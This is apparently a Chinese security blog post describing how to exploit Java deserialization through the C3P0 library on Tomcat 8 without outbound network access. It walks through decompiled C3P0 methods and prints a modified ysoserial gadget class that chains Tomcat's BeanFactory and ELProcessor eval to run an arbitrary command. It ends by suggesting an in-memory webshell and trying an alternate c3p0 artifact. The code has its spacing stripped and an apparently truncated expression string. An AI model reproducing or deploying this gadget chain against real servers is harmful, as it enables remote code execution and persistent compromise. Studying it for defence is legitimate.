C3P0是本人在实战环境中除CommonsCollections、CommonsBeanutiles以外遇到最多的JAR包,其中一部分C3P0是被org.quartz-scheduler:quartz所依赖进来的。ysoserial中也提供了C3P0 Gadget, 利用方式为URLClassLoader加载远程class实例化实现代码执行, 因此带来了一个限制,需要目标能够出网。近期在做一次测试的时候,发现了个反序列化漏洞环境为Tomcat8,尝试了常用的Gadget都不存在,使用C3P0时产生了DNS请求不过无HTTP请求,换了一些常见端口一样无HTTP请求导致无法利用,折腾了半天最后还是只能回去看看C3P0的代码。
C3P0 分析
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
privatevoidreadObject(ObjectInputStream ois)throwsIOException,ClassNotFoundException{shortversion = ois.readShort();switch(version){case1:Object o = ois.readObject();if(oinstanceofIndirectlySerialized){o =((IndirectlySerialized)o).getObject();}com.mchange.v2.naming.ReferenceIndirector
publicObjectgetObject()throwsClassNotFoundException,IOException{try{InitialContext var1;if(this.env == null){var1 =newInitialContext();}else{var1 =newInitialContext(this.env);}Context var2 = null;if(this.contextName != null){var2 =(Context)var1.lookup(this.contextName);}// 利用点returnReferenceableUtils.referenceToObject(this.reference,this.name,var2,this.env);}catch(NamingExceptionvar3){if(ReferenceIndirector.logger.isLoggable(MLevel.WARNING)){ReferenceIndirector.logger.log(MLevel.WARNING,"Failed to acquire the Context necessary to lookup an Object.",var3);}thrownewInvalidObjectException("Failed to acquire the Context necessary to lookup an Object: "+ var3.toString());}}在getObject方法中,很明显可以JNDI注入,但是JNDI注入的限制条件比URLClassLoader加载远程class限制条件还多,不考虑。
publicstaticObjectreferenceToObject(Reference var0,Name var1,Context var2,Hashtable var3)throwsNamingException{try{String var4 = var0.getFactoryClassName();String var11 = var0.getFactoryClassLocation();ClassLoader var6 = Thread.currentThread().getContextClassLoader();if(var6 == null){var6 = ReferenceableUtils.class.getClassLoader();}Object var7;if(var11 == null){var7 = var6;}else{URL var8 =newURL(var11);var7 =newURLClassLoader(newURL[]{var8},var6);}Classvar12= Class.forName(var4,true,(ClassLoader)var7);ObjectFactory var9 =(ObjectFactory)var12.newInstance();returnvar9.getObjectInstance(var0,var1,var2,var3);}catch(Exceptionvar10){if(logger.isLoggable(MLevel.FINE)){logger.log(MLevel.FINE,"Could not resolve Reference to Object!",var10);}NamingException var5 =newNamingException("Could not resolve Reference to Object!");var5.setRootCause(var10);throwvar5;}}ysoserial中的利用就是通过referenceToObject方法URLClassloader加载远程class实现利用。
可以发现在referenceToObject方法中如果getFactoryClassLocation获取到的是null,就不会使用URLClassloader而是当前线程的ClassLoader,这意味着能够实例化WEB目录下的任意类,因为不能完全控制classloader所以不能使用BCEL利用方式。
能够实例化任意类也很难找到利用点,不过在referenceToObject中可以发现它在实例化完指定类后,还会调用它的getObjectInstance方法,看到这个方法名立马就能想到以前JNDI注入 绕过trustCodebaseURL限制的方法(这里不再赘述,可参考 http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/ ),通过Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入,刚好目标环境是Tomcat8按理是可以实现无网利用的。
修改一下ysoserial中的原生C3P0
packageysoserial.payloads;importjava.io.PrintWriter;importjava.sql.SQLException;importjava.sql.SQLFeatureNotSupportedException;importjava.util.logging.Logger;importjavax.naming.NamingException;importjavax.naming.Reference;importjavax.naming.Referenceable;importjavax.naming.StringRefAddr;importjavax.sql.ConnectionPoolDataSource;importjavax.sql.PooledConnection;importcom.mchange.v2.c3p0.PoolBackedDataSource;importcom.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;importorg.apache.naming.ResourceRef;importysoserial.payloads.annotation.Authors;importysoserial.payloads.annotation.Dependencies;importysoserial.payloads.annotation.PayloadTest;importysoserial.payloads.util.PayloadRunner;importysoserial.payloads.util.Reflections;/*yulegeyu modified/@PayloadTest(harness="ysoserial.test.payloads.RemoteClassLoadingTest")@Dependencies({"com.mchange:c3p0:0.9.5.2","com.mchange:mchange-commons-java:0.2.11"})@Authors({Authors.MBECHLER})publicclassC3P0TomcatimplementsObjectPayload{publicObjectgetObject(String command)throwsException{PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);Reflections.getField(PoolBackedDataSourceBase.class,"connectionPoolDataSource").set(b,newPoolSource("org.apache.naming.factory.BeanFactory",null));returnb;}privatestaticfinalclassPoolSourceimplementsConnectionPoolDataSource,Referenceable{privateString className;privateString url;publicPoolSource(String className,String url){this.className = className;this.url = url;}publicReferencegetReference()throwsNamingException{ResourceRef ref =newResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);ref.add(newStringRefAddr("forceString","x=eval"));String cmd ="open -a calculator.app";ref.add(newStringRefAddr("x","\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder'(java.lang.String[])'"));returnref;}publicPrintWritergetLogWriter()throwsSQLException{returnnull;}publicvoidsetLogWriter(PrintWriter out)throwsSQLException{}publicvoidsetLoginTimeout(intseconds)throwsSQLException{}publicintgetLoginTimeout()throwsSQLException{return0;}publicLoggergetParentLogger()throwsSQLFeatureNotSupportedException{returnnull;}publicPooledConnectiongetPooledConnection()throwsSQLException{returnnull;}publicPooledConnectiongetPooledConnection(String user,String password)throwsSQLException{returnnull;}}publicstaticvoidmain(finalString[]args)throwsException{PayloadRunner.run(C3P0.class,args);}}
不出网时最好还是直接中一个内存马~
最后,市面上存在两个C3P0,com.mchange:c3p0、c3p0:c3p0。比较常见的是第一个,两个C3P0都能够利用但是因为SUID的原因需要稍微变化一下,黑盒反序列打第一个没反应时可以尝试下第二个,可能有惊喜~